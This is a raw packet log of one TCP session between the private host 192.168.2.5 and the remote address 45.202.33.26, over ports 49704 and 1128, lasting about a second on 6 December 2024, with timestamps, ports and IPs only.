Dec 6, 2024 14:19:44.623193979 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.623296976 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.623348951 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.624197006 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.624244928 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.624334097 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.625188112 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.625246048 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.625314951 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.626163960 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.626261950 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.626310110 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.627167940 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.627243996 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.627317905 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.650250912 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.650311947 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.650365114 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.650728941 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.650804043 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.650899887 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.651797056 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.651812077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.651839972 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.652684927 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.652733088 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.773135900 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.773164988 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.773251057 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.773590088 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.773705006 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.774593115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.774650097 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.774708986 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.775307894 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.775621891 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.775665045 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.775856018 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.776534081 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.776648045 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.777127028 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.777546883 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.777673006 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.777734041 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.778573990 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.778688908 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.779151917 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.779531956 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.779556990 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.779606104 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.780510902 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.780555010 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.780795097 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.781478882 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.781563997 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.781713963 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.782478094 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.782582045 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.783072948 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.783461094 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.783565044 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.783688068 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.784476042 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.784543991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.785048008 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.785478115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.785610914 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.785679102 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.786448956 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.786554098 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.787030935 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.787451029 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.787566900 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.787679911 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.788433075 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.788547039 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.789036036 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.789413929 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.789546013 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.789608955 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.790401936 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.790513992 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.790579081 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.791384935 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.791500092 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.791626930 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.792510033 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.792634010 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.792709112 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.793423891 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.793550968 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.793682098 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.794379950 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.794540882 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.794598103 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.795358896 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.795452118 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.795641899 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.796375990 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.796479940 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.796595097 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.797302961 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.797441959 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.797548056 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.798319101 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.798480988 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.798532009 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.799319983 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.799477100 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.799537897 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.800295115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.800437927 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.800483942 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.801320076 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.801453114 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.801671982 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.802251101 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.802385092 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.802522898 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.803262949 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.803457975 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.803513050 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.804275990 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.804366112 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.804507971 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.805229902 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.805294037 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.805429935 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.806241035 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.806473017 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.806535006 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.807269096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.807331085 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.807478905 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.808352947 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.808434963 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.808983088 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.809248924 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.809397936 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.809469938 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.810312986 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.810487986 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.810544014 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.811203957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.811299086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.811338902 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.812222958 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.812295914 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.812433004 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.813133955 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.813276052 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.813520908 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.814220905 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.814260006 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.814502001 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.815125942 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.815228939 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.815330029 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.816133976 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.816262007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.816384077 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.817121029 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.817181110 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.817308903 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.818093061 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.818169117 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.818312883 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.819087029 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.819250107 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.819365978 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.820075035 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.820192099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.820494890 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.821206093 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.821243048 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.821423054 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.842134953 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.842242002 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.842363119 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.842590094 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.842700005 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.842761993 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.843584061 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.843694925 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.843770981 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.844554901 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.899724960 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.965279102 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.965327024 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.965439081 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.965655088 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.965668917 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.965720892 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.966248989 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.966564894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.966634035 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.967453957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.967591047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.967992067 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.968229055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.968463898 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.968592882 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.969388008 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.969500065 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.969551086 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.970251083 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.970412016 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.970465899 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.971330881 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.971487045 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.971535921 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.972254038 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.972410917 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.972455025 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.973505974 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.973520041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.973556042 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.974411011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.974572897 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.974618912 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.975210905 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.975282907 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.975420952 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.976180077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.976345062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.976531982 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.977214098 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.977370977 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.977495909 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.978112936 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.978197098 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.978251934 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.979227066 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.979382038 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.979429007 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.980165005 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.980339050 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.980415106 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.981054068 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.981336117 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.981487036 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.982167959 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.982181072 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.982234001 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.983392000 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.984153032 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.984335899 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.984788895 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.984944105 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.985539913 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.985552073 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.985604048 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.986195087 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.986358881 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.986473083 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.987113953 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.987293959 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.987348080 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.988217115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.988339901 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.988385916 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.988990068 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.989140987 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.989191055 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.990291119 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.990303993 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.990367889 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.991060019 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.991266012 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.991318941 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.991935968 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.992094994 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.992141962 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.992939949 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.993006945 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.993051052 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.993969917 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.994054079 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.994157076 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.994906902 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.994988918 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.995177984 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.995887041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.995985985 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.996027946 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.996917009 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.996967077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.997149944 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.997885942 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.997967005 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.998411894 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.998858929 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.998982906 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.999046087 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.999871016 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.999984980 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.000035048 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.000984907 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.001082897 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.001126051 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.001867056 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.002648115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.002693892 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.004345894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.004371881 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.004391909 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.004404068 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.004420996 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.004465103 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.004805088 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.005026102 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.005075932 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.006231070 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.006371975 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.006411076 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.007287025 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.007416010 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.007514954 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.007791996 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.007852077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.007898092 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.008944035 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.009088993 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.009227037 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.009876966 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.010056019 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.010114908 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.010754108 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.011044025 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.011354923 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.011934042 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.011945963 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.011987925 CET	49704	1128	192.168.2.5	45.202.33.26
